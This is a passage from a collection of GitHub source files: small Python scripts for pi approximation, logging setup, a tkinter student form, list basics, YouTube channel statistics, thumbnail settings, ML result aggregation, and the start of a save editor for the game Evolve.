calculate_pi_approximation(50000)\n difference = math.pi - approx\n print(\"Pi approximate value using 50000 random points:\\t\\t\" + str(approx) + \"\\t\\tdifference to Python3 math.pi value:\\t\" + str(difference))\n\n approx = calculate_pi_approximation(100000)\n difference = math.pi - approx\n print(\"Pi approximate value using 100000 random points:\\t\" + str(approx) + \"\\t\\tdifference to Python3 math.pi value:\\t\" + str(difference))\n\n\n'''\nCalculates the approximate value of pi by adding points inside square which contains max size circle and calculates\nwhich points are inside the circle and which are not. For those points we use formula 4k/n where k is the points\ninside the circle and n is the overall amount of the points\n amount_of_points = points set to the coordinate system (more points increases the accuracy)\n'''\ndef calculate_pi_approximation(amount_of_points):\n \n rand_generated_points = []\n\n # 100 is the radius of the circle and the center is point (0, 0)\n for p in range(amount_of_points):\n x = random.uniform(-100.0, 100.0)\n y = random.uniform(-100.0, 100.0)\n point = (x, y)\n rand_generated_points.append(point)\n\n points_inside_circle = 0\n\n # Check if point is inside the circle\n for p in rand_generated_points:\n if ((p[0]**2 + p[1]**2) <= 100.0**2):\n points_inside_circle += 1\n\n # Calculate the pi using the formula 4k/n\n result = (4 * points_inside_circle) / amount_of_points\n return result\n \n\nif __name__ == \"__main__\":\n main()\n","repo_name":"SamiHei/algorithm_library","sub_path":"python/pi_approximation.py","file_name":"pi_approximation.py","file_ext":"py","file_size_in_byte":2517,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"40034874065","text":"import logging\nimport pathlib\n\n\nLOGFILE_PATH = pathlib.Path(__file__).resolve().parent\n\n\ndef get_logger() -> logging.Logger:\n logger = logging.getLogger(__name__)\n formatter = logging.Formatter(\n '%(asctime)s [%(levelname)s] - [%(name)s] -- %(message)s'\n )\n logger.setLevel(logging.DEBUG)\n stream_handler = logging.StreamHandler()\n file_handler = logging.FileHandler(f'{LOGFILE_PATH}/log.log')\n file_handler.setFormatter(formatter)\n stream_handler.setFormatter(formatter)\n logger.addHandler(file_handler)\n logger.addHandler(stream_handler)\n return logger\n\n\nlogger = get_logger()\n","repo_name":"rafailmdzdv/o2-tatneft","sub_path":"src/project_config/log.py","file_name":"log.py","file_ext":"py","file_size_in_byte":619,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"23110677287","text":"import tkinter as tk\nfrom tkinter import filedialog as fd\n\n\nclass Alumno:\n def __init__(self, nombre, edad):\n self.name = nombre\n self.age = edad\n\n\nclass App:\n def __init__(self, root):\n self.lista = []\n # setting title\n root.title(\"GUI FORMS\")\n # # setting window size\n width = 739\n height = 656\n screenwidth = root.winfo_screenwidth()\n screenheight = root.winfo_screenheight()\n alignstr = '%dx%d+%d+%d' % (width, height, (screenwidth - width) / 2, (screenheight - height) / 2)\n root.geometry(alignstr)\n root.resizable(width=False, height=False)\n\n label_name = tk.Label(root, fg=\"#333333\", text=\"Name\")\n label_name.place(x=30, y=40, width=70, height=25)\n\n label_age = tk.Label(root, fg=\"#333333\", text=\"Age\")\n label_age.place(x=30, y=110, width=70, height=25)\n\n self.txt_name = tk.StringVar()\n self.txt_name.set(\"\")\n self.GLineEdit_Name = tk.Entry(root, borderwidth=\"1px\", fg=\"#333333\", textvariable=self.txt_name)\n self.GLineEdit_Name.place(x=160, y=40, width=70, height=25)\n\n self.txt_age = tk.StringVar()\n self.txt_age.set(\"\")\n self.GLineEdit_Age = tk.Entry(root, borderwidth=\"1px\", fg=\"#333333\", textvariable=self.txt_age)\n self.GLineEdit_Age.place(x=160, y=110, width=70, height=25)\n\n button_add = tk.Button(root, bg=\"#efefef\", justify=\"center\", text=\"Add\", command=self.Cbutton_add)\n button_add.place(x=70, y=190, width=70, height=25)\n\n button_update = tk.Button(root, bg=\"#efefef\", justify=\"center\", text=\"Update\", command=self.Cbutton_update)\n button_update.place(x=230, y=190, width=70, height=25)\n\n button_delete = tk.Button(root, bg=\"#efefef\", justify=\"center\", text=\"Delete\", command=self.Cbutton_delete)\n button_delete.place(x=80, y=470, width=70, height=25)\n\n button_export = tk.Button(root, bg=\"#efefef\", justify=\"center\", text=\"Export\", command=self.Cbutton_export)\n button_export.place(x=250, y=470, width=70, height=25)\n\n button_import = tk.Button(root, bg=\"#efefef\", justify=\"center\", text=\"Import\", command=self.Cbutton_import)\n button_import.place(x=410, y=470, width=70, height=25)\n\n self.GListBox_List = tk.Listbox(root, borderwidth=\"1px\", fg=\"#333333\")\n self.GListBox_List.place(x=50, y=240, width=263, height=200)\n\n scrollbar = tk.Scrollbar(self.GListBox_List)\n scrollbar.pack(side=tk.RIGHT, fill=tk.BOTH)\n scrollbar.config(command=self.GListBox_List.yview)\n\n self.GListBox_List.configure(yscrollcommand=scrollbar.set)\n\n self.GListBox_List.bind(\"<>\", self.itemSelect)\n\n def Cbutton_add(self):\n nombre = self.GLineEdit_Name.get()\n edad = self.GLineEdit_Age.get()\n if len(nombre) < 3 or not edad.isdigit():\n return\n alumno = Alumno(nombre, edad)\n self.lista.append(alumno)\n self.GListBox_List.insert(len(self.lista) - 1, (alumno.name + ' , ' + alumno.age))\n self.txt_name.set(\"\")\n self.txt_age.set(\"\")\n\n def Cbutton_update(self):\n index = self.last_selected\n nombre = self.GLineEdit_Name.get()\n edad = self.GLineEdit_Age.get()\n if len(nombre) < 3 or not edad.isdigit():\n return\n self.lista[index].name = nombre\n self.lista[index].age = edad\n self.GListBox_List.delete(index)\n self.GListBox_List.insert(index, (nombre + ' , ' + edad))\n\n def Cbutton_delete(self):\n for i in self.GListBox_List.curselection():\n del [self.lista[i]]\n self.GListBox_List.delete(i)\n\n def itemSelect(self, event):\n index = self.GListBox_List.curselection()\n if len(index) == 0:\n return\n index = index[0]\n self.last_selected = index\n alumno = self.lista[index]\n self.txt_name.set(alumno.name)\n self.txt_age.set(alumno.age)\n\n def Cbutton_export(self):\n with open('alumnos.csv', 'w') as f:\n for alumno in self.lista:\n f.write(alumno.name + ',' + alumno.age + '\\n')\n with open('alumnos.txt', 'w') as f:\n for alumno in self.lista:\n f.write(alumno.name + ',' + alumno.age + '\\n')\n\n def Cbutton_import(self):\n temp = []\n filetypes = (('Text files', '*.txt'), ('CSV files', '*.csv'), ('All files', '*.*'))\n path = fd.askopenfilename(title='Choose file', filetypes=filetypes)\n\n if path != '':\n with open(path, 'r') as f:\n lines = f.readlines()\n for line in lines:\n line = line.strip()\n name, age = line.split(',')\n alumno = Alumno(name, age)\n temp.append(alumno)\n self.lista = temp\n self.GListBox_List.delete(0, tk.END)\n for alumno in self.lista:\n self.GListBox_List.insert(tk.END, (alumno.name + ' , ' + alumno.age))\n","repo_name":"HeinrichGomTag/POO","sub_path":"Final/TK_FORMS/ventana.py","file_name":"ventana.py","file_ext":"py","file_size_in_byte":5039,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"27800982721","text":"# Lists are very similar to arrays. \n# They can contain any type of variable, and \n# they can contain as many variables as you wish\nmylist = []\nmylist.append(1)\nmylist.append(2)\nmylist.append(3)\n\n# accessing list items\nprint(mylist[0])\nprint(mylist[1])\n\n# Iterating over a list\nfor x in mylist:\n print(x) # 1,2,3\n\n# Lists can be joined with the addition operators:\neven_numbers = [2,4,6,8]\nodd_numbers = [1,3,5,7]\nall_numbers = odd_numbers + even_numbers\nprint(all_numbers) # [1,3,5,7,2,4,6,8]\n\n# Just as in strings, Python supports forming new lists with a repeating sequence using the multiplication operator:\nprint([1,2,3] * 3) # [1, 2, 3, 1, 2, 3, 1, 2, 3]","repo_name":"karthikm-14/python-tutorial","sub_path":"lists.py","file_name":"lists.py","file_ext":"py","file_size_in_byte":664,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"29045425058","text":"import youtubeData\nimport configparser\nimport oauth\nimport argparse\nimport pandas as pd \nimport datetime\nfrom urllib.parse import urlsplit, urlparse\nimport time\nfrom alive_progress import alive_bar\n\nconfig = configparser.ConfigParser()\nconfig.read('conf.ini')\nSCOPE = list(config.get('SCOPE Settings', 'scopelist').split(', '))\nauth = oauth.Authorize(scope = SCOPE, token_file = 'authentications/token.yaml', secrets_file = 'authentications/secret_ama2.json')\nauth.authorize()\n# auth.re_authorize()\ntoken = auth.load_token()\ncredentials = auth.get_credentials()\nDATAv3 = youtubeData.YouTubeData(credentials)\n#1) Call the api_build()\nDATAv3.api_build()\n\ndf = pd.read_excel('datapull.xlsx')\ndf = df.dropna()\n\ntiktoker_list = []\nchannel_list = []\ntotal_video_list= []\n\nfirst_video_list = []\n\ntotal_view_list = []\ntotal_subscriber_list = []\n\nwith alive_bar(df.shape[0], bar = 'filling', spinner = 'pulse') as bar:\n for index, row in df.iterrows():\n # check if there is a youtube Channel\n tiktoker_list.append(row['TikToker Name'])\n print(row['TikToker Name'])\n channel_list.append(row['YouTube Channel'])\n print(row['YouTube Channel'])\n channelID = urlparse(row['YouTube Channel']).path.split('/')[2]\n print('Channel ID list is :'+ urlparse(row['YouTube Channel']).path.split('/')[2])\n DATAv3.setChannelID(channelID)\n \n DATAv3.getChannelRequest()\n DATAv3.getStatistics()\n total_video_list.append(DATAv3.total_videoCount)\n \n total_view_list.append(DATAv3.total_viewCount)\n total_subscriber_list.append(DATAv3.total_subscriberCount)\n try:\n DATAv3.getPlaylistID()\n\n DATAv3.setVideoList()\n DATAv3.setVideoIDList()\n DATAv3.setVideoDataList()\n DATAv3.videoDataParser()\n \n first_video_list.append(DATAv3.publishedDate[-1])\n \n except:\n print(\"Playlist is not found so no video\")\n first_video_list.append(0)\n \n \n bar()\n \n\n \n \n\ndata = {'TikToker Name': tiktoker_list,\n 'YouTube Channel': channel_list,\n 'Videos Published': total_video_list,\n 'First Video Publish Date': first_video_list,\n 'Total Views': total_view_list,\n 'Total Subscribers': total_subscriber_list}\ncsv = pd.DataFrame(data)\ncsv.to_csv('Mateo Dat aPull')\n","repo_name":"kaihyperion/YouTubeAnalytics","sub_path":"list_to_pull.py","file_name":"list_to_pull.py","file_ext":"py","file_size_in_byte":2408,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"2536123347","text":"from decouple import config\n\n\n# If key is not present then the authentication header won't be sent\n# and query forwarding will not work as expected. Lack of query forwarding\n# is not an issue for local development so this compromise is okay.\nPHOTON_AUTH_KEY = config(\"PHOTON_AUTH_KEY\", default=None)\n\n# Produce CC-hosted thumbnails dynamically through a proxy.\nPHOTON_ENDPOINT = config(\"PHOTON_ENDPOINT\", default=\"https://i0.wp.com/\")\n\n# These do not need to be cast to int because we don't use them directly,\n# they're just passed through to Photon's API\n# Keeping them as strings makes the tests slightly less verbose (for not needing\n# to cast them in assertions to match the parsed param types)\nTHUMBNAIL_WIDTH_PX = config(\"THUMBNAIL_WIDTH_PX\", default=\"600\")\nTHUMBNAIL_QUALITY = config(\"THUMBNAIL_JPG_QUALITY\", default=\"80\")\n\nTHUMBNAIL_ERROR_INITIAL_ALERT_THRESHOLD = config(\n \"THUMBNAIL_ERROR_INITIAL_ALERT_THRESHOLD\", default=100, cast=int\n)\n\nTHUMBNAIL_ERROR_REPEATED_ALERT_FREQUENCY = config(\n \"THUMBNAIL_ERROR_REPEATED_ALERT_FREQUENCY\", default=1000, cast=int\n)\n","repo_name":"WordPress/openverse","sub_path":"api/conf/settings/thumbnails.py","file_name":"thumbnails.py","file_ext":"py","file_size_in_byte":1077,"program_lang":"python","lang":"en","doc_type":"code","stars":157,"dataset":"github-code","pt":"82"} +{"seq_id":"22802505422","text":"name=\"khvicha\" #str\nsurname=\"ebitovi\" #str\nage=21 #int\nheight=1.67 #float\nknows_programing=False #bool\nis_motivated=True#book\nsalary=\"500\" #int\n\nprint(name+\" \"+surname+\" \"+ str(age)+\" \"+str(height)+\" \"+str(knows_programing)+\" \"\n+str(is_motivated)+\" \"+str(salary))\n","repo_name":"ebitovi12/homeworks","sub_path":"day 1/homework1.py","file_name":"homework1.py","file_ext":"py","file_size_in_byte":264,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"34964388243","text":"import os\nimport json\nimport csv\nimport yaml\nimport pandas as pd\nfrom pathlib import Path\nimport pickle\nimport numpy as np\nfrom sklearn.metrics import classification_report, multilabel_confusion_matrix\nfrom modeling.other_functions import save_evaluation_report\nfrom contextlib import redirect_stdout\n\n# Aggregate the predictions from different models (seeds) into a majority-vote prediction and the results from different datasets into a single one.\n\n# Read the settings\nsettings_file = open(\"MLsettings.yaml\")\nsettings = yaml.load(settings_file, Loader=yaml.FullLoader)\n\nmulti_seed_experiments = False;\nif \"multi_seed_experiments\" in settings.keys():\n multi_seed_experiments = settings[\"multi_seed_experiments\"]\ndataset_folder = settings[\"dataset_folder\"]\nmodel_ep = None\nif \"model_ep\" in settings.keys():\n model_ep_list = settings[\"model_ep\"]\n\ndef aggregate_multi_seed_results(experiment_folder, sumup_writer):\n print(\"Run for \", experiment_folder )\n\n experiments_csv_file = experiment_folder + os.path.sep + \"experiments.csv\"\n if model_ep is not None:\n experiments_csv_file = experiment_folder + os.path.sep + model_ep + \"_experiments.csv\"\n\n multi_seed_experiment_folder = str(Path(experiment_folder).parents[1])\n seed_experiment_folder = str(Path(experiment_folder).parents[0])\n # read WS baselines\n WS_labels_csv_file = multi_seed_experiment_folder + os.path.sep + \"report_minority_full.csv\"\n ws_df =pd.read_csv(WS_labels_csv_file)\n macro_avg_ws = ws_df.loc[ws_df['label'] == '1'] # for the case of datasets with just one labelQ binary classification\n micro_avg_ws = macro_avg_ws\n if len(macro_avg_ws) == 0:\n # This is a normal case of dataset with multiple labels\n macro_avg_ws = ws_df.loc[ws_df['label'] == 'macro avg']\n micro_avg_ws = ws_df.loc[ws_df['label'] == 'micro avg']\n # print(macro_avg_ws)\n\n # get folder paths\n\n dict_labels_csv_file = multi_seed_experiment_folder + os.path.sep + \"report_dictLabel.csv\"\n dict_df =pd.read_csv(dict_labels_csv_file)\n macro_avg_dict = dict_df.loc[dict_df['label'] == '1'] # for the case of datasets with just one labelQ binary classification\n micro_avg_dict = macro_avg_dict\n if len(macro_avg_dict) == 0:\n # This is a normal case of dataset with multiple labels\n macro_avg_dict = dict_df.loc[dict_df['label'] == 'macro avg']\n micro_avg_dict = dict_df.loc[dict_df['label'] == 'micro avg']\n\n # read settings\n experiment_setting_file = seed_experiment_folder + os.path.sep + \"settings.yaml\"\n experiment_settings = yaml.load(open(experiment_setting_file), Loader=yaml.FullLoader)\n detailsfgNL_file = multi_seed_experiment_folder + os.path.sep + experiment_settings[\"detailsfgNL\"]\n # print(detailsfgNL_file)\n detailsfgNL = pd.read_csv(detailsfgNL_file)\n fgNL = list(detailsfgNL[\"Descr. UI\"])\n # print(fgNL)\n seeds = []\n with open(experiments_csv_file, 'w', newline='', encoding='utf-8') as f:\n # create the csv writer\n writer = csv.writer(f)\n header_row = [\"Dir\", \"learning_rate\", \"seed\", \"Epochs\", \"loss_func_name\", \"modelName\",\n \"ma-p\", \"ma-r\", \"ma-f1\", \"ma-f1 std\", \"ma-f1 var\",\n \"mi-p\", \"mi-r\", \"mi-f1\",\n \"ma-p-val\", \"ma-r-val\", \"ma-f1-val\", ]\n writer.writerow(header_row)\n model_eps = []\n if model_ep is not None:\n if model_ep == \"both\":\n model_eps.append(\"best\")\n model_eps.append(\"prev\")\n # model_eps.append(\"current\")\n else:\n model_eps.append(model_ep)\n else:\n model_eps.append(None)\n for dir in os.listdir(experiment_folder):\n root = experiment_folder + os.path.sep + dir\n if os.path.isdir(root):\n seed_report = root + os.path.sep + \"report.json\"\n seed_val_report = root + os.path.sep + \"val_report.json\"\n for ep in model_eps:\n if ep is not None:\n seed_report = root + os.path.sep + ep + os.path.sep + \"report.json\"\n seed_val_report = root + os.path.sep + ep + os.path.sep + \"val_report.json\"\n content_row = []\n seed = root.replace(experiment_folder + os.path.sep, '')\n experiment_complete = True;\n if os.path.isfile(seed_report):\n seeds.append(seed)\n # print(\"\\t\\t seed \", seed, \" experiment complete.\")\n label_report_file = open(seed_report)\n # print(label_report )\n # print(label)\n report_json = json.load(label_report_file)\n content_row = content_row + [root, experiment_settings[\"learning_rate\"], seed, experiment_settings[\"epochs\"],experiment_settings[\"loss_func_name\"],experiment_settings[\"modelName\"]]\n content_row = content_row + get_measures_from_json(report_json)\n else:\n experiment_complete = False;\n print(\"No evaluation report found here: \", seed_report)\n if os.path.isfile(seed_val_report):\n val_label_report_file = open(seed_val_report)\n val_report_json = json.load(val_label_report_file)\n content_row = content_row + [val_report_json[\"macro avg\"][\"precision\"],\n val_report_json[\"macro avg\"][\"recall\"],\n val_report_json[\"macro avg\"][\"f1-score\"]]\n else:\n experiment_complete = False;\n print(\"No validation report found here: \", seed_val_report)\n if content_row != [] and experiment_complete:\n writer.writerow(content_row)\n else:\n print(\"\\t\\t seed \", seed, \" experiment is still in progress for\", ep , \"epoch.\")\n\n print(\"\\t Aggregate results for \", len(seeds), \" seeds: \", seeds)\n\n df = pd.read_csv(experiments_csv_file)\n\n df['rank'] = df['ma-f1-val'].rank()\n max = df.max()\n\n # Create ensemble predictions\n all_dirs = df['Dir'].tolist()\n # beyond_avg_on_val_dirs = beyond_avg_on_val['Dir'].tolist()\n # top_rank_val_dirs = top_rank_val['Dir'].tolist()\n\n if len(all_dirs) > 1:\n mv_all_report_json = create_ensemble_predictions(all_dirs, fgNL, \"all\")\n content_row = [experiment_folder, experiment_settings[\"learning_rate\"], experiment_settings[\"epochs\"], len(df), \"-\",experiment_settings[\"balance_ns\"],experiment_settings[\"loss_func_name\"],experiment_settings[\"modelName\"],\n # Weak Label baseline\n macro_avg_ws[\"precision\"].squeeze(),macro_avg_ws[\"recall\"].squeeze(),macro_avg_ws[\"f1-score\"].squeeze(),\n micro_avg_ws[\"precision\"].squeeze(), micro_avg_ws[\"recall\"].squeeze(), micro_avg_ws[\"f1-score\"].squeeze(),\n # Dict baseline\n macro_avg_dict[\"precision\"].squeeze(), macro_avg_dict[\"recall\"].squeeze(),\n macro_avg_dict[\"f1-score\"].squeeze(),\n micro_avg_dict[\"precision\"].squeeze(), micro_avg_dict[\"recall\"].squeeze(),\n micro_avg_dict[\"f1-score\"].squeeze(),\n max[\"ma-p\"], max[\"ma-r\"], max[\"ma-f1\"], max[\"mi-p\"], max[\"mi-r\"],\n max[\"mi-f1\"],\n ]\n content_row = content_row + get_measures_from_json(mv_all_report_json)\n sumup_writer.writerow(content_row)\n else :\n print(\"No multiple experiments to aggregate!\")\n\n return ws_df, dict_df, fgNL\n\ndef get_measures_from_json(report_json):\n # Adds values for 8 columns\n content_row = []\n if \"1.0\" in report_json.keys(): # Case of Binary classification: We get the measures on the positive class, not the macro-averaged one, as the latter is calculated on positive and negative in the same class\n content_row = content_row + [report_json[\"1.0\"][\"precision\"],\n report_json[\"1.0\"][\"recall\"],\n report_json[\"1.0\"][\"f1-score\"],\n None, None,\n # We also use the same values in the micro-averaged column\n report_json[\"1.0\"][\"precision\"],\n report_json[\"1.0\"][\"recall\"],\n report_json[\"1.0\"][\"f1-score\"]]\n else:\n content_row = content_row + [report_json[\"macro avg\"][\"precision\"],\n report_json[\"macro avg\"][\"recall\"],\n report_json[\"macro avg\"][\"f1-score\"]]\n if \"std\" in report_json.keys():\n content_row = content_row + [report_json[\"std\"][\"f1-score\"],\n report_json[\"var\"][\"f1-score\"]]\n else:\n content_row = content_row + [None, None]\n if \"micro avg\" in report_json.keys():\n content_row = content_row + [report_json[\"micro avg\"][\"precision\"],\n report_json[\"micro avg\"][\"recall\"],\n report_json[\"micro avg\"][\"f1-score\"]]\n else:\n content_row = content_row + [None, None, None]\n return content_row\n\ndef create_ensemble_predictions(dirs, fgNL, experiments, ensemble_type =\"mv\"):\n # mv: for \"majority vote\"\n original_predictions = {}\n new_predictions = []\n doc_num = 0\n label_num = 0\n for dir in dirs:\n if os.path.isdir(dir):\n seed_predictions_files = {}\n if model_ep is not None:\n if model_ep == \"both\":\n seed_predictions_files[dir + os.path.sep + \"best\"]= dir + os.path.sep + \"best\" + os.path.sep + \"preditions_filtered.pkl\"\n seed_predictions_files[dir + os.path.sep + \"perv\"]= dir + os.path.sep + \"prev\" + os.path.sep + \"preditions_filtered.pkl\"\n else:\n seed_predictions_files[dir + os.path.sep + model_ep]= dir + os.path.sep + model_ep + os.path.sep + \"preditions_filtered.pkl\"\n if not seed_predictions_files:\n seed_predictions_files[dir] = dir + os.path.sep + \"preditions_filtered.pkl\"\n for seed_predictions_dir, seed_predictions_file in seed_predictions_files.items():\n with open(seed_predictions_file, 'rb') as f:\n seed_predictions = pickle.load(f)\n original_predictions[seed_predictions_dir] = seed_predictions\n doc_num = len(seed_predictions)\n label_num = len(seed_predictions[0])\n else:\n print(\"This is not a valid/accessible dir: \", dir)\n\n # print(len(original_predictions))\n for doc in range(doc_num):\n doc_new_prediction = []\n for label in range(label_num):\n positive = 0\n for or_pred in original_predictions.values():\n positive += or_pred[doc,label]\n if ensemble_type == \"mv\":\n if positive >= (len(dirs)/2):\n doc_new_prediction.append(1)\n else:\n doc_new_prediction.append(0)\n # Add other types of voting here\n new_predictions.append(doc_new_prediction)\n\n # golden data are the same for all runs\n golden_file = dirs[0] + os.path.sep + 'golden.pkl'\n if model_ep is not None:\n subfolder = model_ep\n if model_ep == \"both\":\n subfolder = \"best\"\n golden_file = dirs[0] + os.path.sep + subfolder + os.path.sep + 'golden.pkl'\n with open(golden_file, 'rb') as f:\n golden = pickle.load(f)\n\n new_predictions_array = np.array(new_predictions)\n\n blance_n_experiment_folder = str(Path(dir).parents[0])\n # No filtering needed, original predictions are already filtered!\n\n mv_predictions_file = blance_n_experiment_folder + os.path.sep + experiments + \"_preditions_mv.pkl\"\n mv_predictions_report_csv_file = blance_n_experiment_folder + os.path.sep + experiments + \"_report_mv.csv\"\n mv_predictions_report_json_file = blance_n_experiment_folder + os.path.sep + experiments + \"_report_mv.json\"\n if model_ep is not None:\n mv_predictions_file = blance_n_experiment_folder + os.path.sep + model_ep + \"_\" + experiments + \"_preditions_mv.pkl\"\n mv_predictions_report_csv_file = blance_n_experiment_folder + os.path.sep + model_ep + \"_\" + experiments + \"_report_mv.csv\"\n mv_predictions_report_json_file = blance_n_experiment_folder + os.path.sep + model_ep + \"_\" + experiments + \"_report_mv.json\"\n\n with open(mv_predictions_file, 'wb') as f:\n pickle.dump(new_predictions_array, f)\n report_json = classification_report(golden, new_predictions_array, output_dict=True)\n matrix = multilabel_confusion_matrix(golden, new_predictions_array)\n\n save_evaluation_report(report_json, fgNL, None, mv_predictions_report_csv_file, matrix)\n\n report_df = pd.read_csv(mv_predictions_report_csv_file)\n\n if label_num > 1 :\n report_json[\"var\"] = {\"precision\" : report_df[report_df[\"label\"] == \"var\"]['precision'].values[0],\n \"recall\" : report_df[report_df[\"label\"] == \"var\"]['recall'].values[0],\n \"f1-score\" : report_df[report_df[\"label\"] == \"var\"]['f1-score'].values[0]}\n report_json[\"std\"] = {\"precision\" : report_df[report_df[\"label\"] == \"std\"]['precision'].values[0],\n \"recall\" : report_df[report_df[\"label\"] == \"std\"]['recall'].values[0],\n \"f1-score\" : report_df[report_df[\"label\"] == \"std\"]['f1-score'].values[0]}\n with open(mv_predictions_report_json_file, 'w') as outfile:\n json.dump(report_json, outfile)\n\n return report_json\n\nwith open(dataset_folder + os.path.sep + 'log.txt', 'w') as f:\n with redirect_stdout(f):\n for me in model_ep_list :\n model_ep = me\n print(\"Run for \",model_ep,\" model epoch\")\n\n if multi_seed_experiments:\n # Aggregate multi-seed experiments into a single prediction per dataset/year\n sumup_report_scv_file = dataset_folder + os.path.sep + \"sumup_report.csv\"\n if model_ep is not None:\n sumup_report_scv_file = dataset_folder + os.path.sep + model_ep + \"_sumup_report.csv\"\n\n with open(sumup_report_scv_file, 'w', newline='', encoding='utf-8') as f:\n # create the csv writer\n writer = csv.writer(f)\n header_row = [\"Dir\", \"LR\", \"Epochs\", \"runs\", \"Model type\", \"balancing\", \"loss\", \"model\",\n # Weak Label baseline\n \"WL ma-p\", \"WL ma-r\", \"WL ma-f1\", \"WL mi-p\", \"WL mi-r\", \"WL mi-f1\",\n # Dict baseline\n \"Dict ma-p\", \"Dict ma-r\", \"Dict ma-f1\", \"Dict mi-p\", \"Dict mi-r\", \"Dict mi-f1\",\n # max of each column across experiments\n \"max ma-p\", \"max ma-r\", \"max ma-f1\", \"max mi-p\", \"max mi-r\", \"max mi-f1\",\n # Majority vote experiments\n \"mv all ma-p\", \"mv all ma-r\", \"mv all ma-f1\", \"mv all ma-f1 std\", \"mv all ma-f1 var\", \"mv all mi-p\", \"mv all mi-r\", \"mv all mi-f1\"\n ]\n writer.writerow(header_row)\n\n agg_results_dict_df = None\n agg_results_ws_df = None\n agg_all_results_df = None\n\n for experiment_folder in multi_seed_experiments:\n ws_df, dict_df, fgNL = aggregate_multi_seed_results(experiment_folder, writer)\n all_report_mv_csv_file = experiment_folder + os.path.sep + \"all_report_mv.csv\"\n if model_ep is not None:\n all_report_mv_csv_file = experiment_folder + os.path.sep + model_ep + \"_all_report_mv.csv\"\n agg_all_df = pd.read_csv(all_report_mv_csv_file)\n\n # for the case of datasets with just one label: binary classification\n if len(fgNL) == 1:\n agg_all_df = agg_all_df.loc[agg_all_df['label'] == '1.0']\n ws_df_tmp = ws_df.loc[ws_df['label'] == '1']\n if ws_df_tmp.empty:\n ws_df = ws_df.loc[ws_df['label'] == '1.0']\n else:\n ws_df = ws_df_tmp\n dict_df = dict_df.loc[dict_df['label'] == '1']\n if dict_df.empty:\n dict_df = dict_df.loc[dict_df['label'] == '1.0']\n agg_all_df.at[1,'label'] = fgNL[0]\n ws_df.at[1,'label'] = fgNL[0]\n dict_df.at[1,'label'] = fgNL[0]\n if agg_all_results_df is None:\n agg_all_results_df = agg_all_df\n agg_results_ws_df = ws_df\n agg_results_dict_df = dict_df\n else:\n agg_all_results_df = pd.concat([agg_all_results_df, agg_all_df], axis=0)\n agg_results_ws_df = pd.concat([agg_results_ws_df, ws_df], axis=0)\n agg_results_dict_df = pd.concat([agg_results_dict_df, dict_df], axis=0)\n\n agg_all_results_df = agg_all_results_df[(agg_all_results_df.label != \"micro avg\") & (agg_all_results_df.label != \"macro avg\") &\n (agg_all_results_df.label != \"weighted avg\") & (agg_all_results_df.label != \"samples avg\")\n & (agg_all_results_df.label != \"accuracy\") & (agg_all_results_df.label != \"accuracy\")\n & (agg_all_results_df.label != \"std\") & (agg_all_results_df.label != \"var\")]\n agg_results_ws_df = agg_results_ws_df[(agg_results_ws_df.label != \"micro avg\") & (agg_results_ws_df.label != \"macro avg\") &\n (agg_results_ws_df.label != \"weighted avg\") & (agg_results_ws_df.label != \"samples avg\")\n & (agg_results_ws_df.label != \"accuracy\") & (agg_results_ws_df.label != \"accuracy\")\n & (agg_results_ws_df.label != \"std\") & (agg_results_ws_df.label != \"var\")]\n agg_results_dict_df = agg_results_dict_df[(agg_results_dict_df.label != \"micro avg\") & (agg_results_dict_df.label != \"macro avg\") &\n (agg_results_dict_df.label != \"weighted avg\") & (agg_results_dict_df.label != \"samples avg\")\n & (agg_results_dict_df.label != \"accuracy\") & (agg_results_dict_df.label != \"accuracy\")\n & (agg_results_dict_df.label != \"std\") & (agg_results_dict_df.label != \"var\")]\n\n agg_all_results_csv = dataset_folder + os.path.sep + \"aggregated_report_mv_all.csv\"\n if model_ep is not None:\n agg_all_results_csv = dataset_folder + os.path.sep + model_ep + \"_aggregated_report_mv_all.csv\"\n\n agg_results_ws_csv = dataset_folder + os.path.sep + \"aggregated_report_WSLabels.csv\"\n agg_results_dict_csv = dataset_folder + os.path.sep + \"aggregated_report_DictLabels.csv\"\n\n agg_all_results_df.to_csv(agg_all_results_csv, index=False)\n agg_results_ws_df.to_csv(agg_results_ws_csv, index=False)\n agg_results_dict_df.to_csv(agg_results_dict_csv, index=False)\n\n # wilcoxon stat\n from scipy.stats import wilcoxon\n print(\"~~ - ~~ \")\n print(\"f1-score \",\"diff between WSlabels and \", \"mv all\")\n d = agg_all_results_df[\"f1-score\"] - agg_results_ws_df[\"f1-score\"]\n w, p = wilcoxon(d)\n print(\"Two-sided Wilcoxon test: H0 \\\"there is no difference in the two groups\\\"\")\n print(\"\\t W statistic:\", w)\n print(\"\\t p-value:\", p)\n print(\"\\t p-value (rounded):\", round(p,6))\n w, p = wilcoxon(d, alternative='greater')\n print(\"Single-sided Wilcoxon test: H0 \\\"the median of the difference in the two groups is negative\\\"\")\n print(\"\\t W statistic:\", w)\n print(\"\\t p-value:\", p)\n print(\"\\t p-value (rounded):\", round(p,6))\n","repo_name":"tasosnent/DBM","sub_path":"reporting/MLreport.py","file_name":"MLreport.py","file_ext":"py","file_size_in_byte":21129,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"4256703922","text":"\"\"\"\nThis script is intended to be a save editor for the game evolve\nThe game can be found at https://pmotschmann.github.io/Evolve/\n\"\"\"\n\nimport argparse\nimport collections\nimport copy\nimport json\nimport logging\nimport os\nimport sys\n\nimport lzstring\n\n\ndef main():\n \"\"\"\n Call parse_args, then pass to edit_evolve_save() to do all the work\n :return: nothing\n \"\"\"\n args = parse_args(sys.argv[1:])\n edit_evolve_save(args)\n\n\ndef parse_args(args):\n \"\"\"\n Parses and validates command line arguments\n :param list args: arguments passed into the script (usually sys.argv[1:])\n :return: arguments parsed into a neat object\n \"\"\"\n parser = argparse.ArgumentParser(\n description=\"Save editor for game evolve\")\n parser.add_argument(\"filepath\", help=\"path to save file\", type=argparse.FileType(\"r+\"))\n parsed_args = parser.parse_args(args)\n filename = parsed_args.filepath.name\n parsed_args.filepath.close()\n 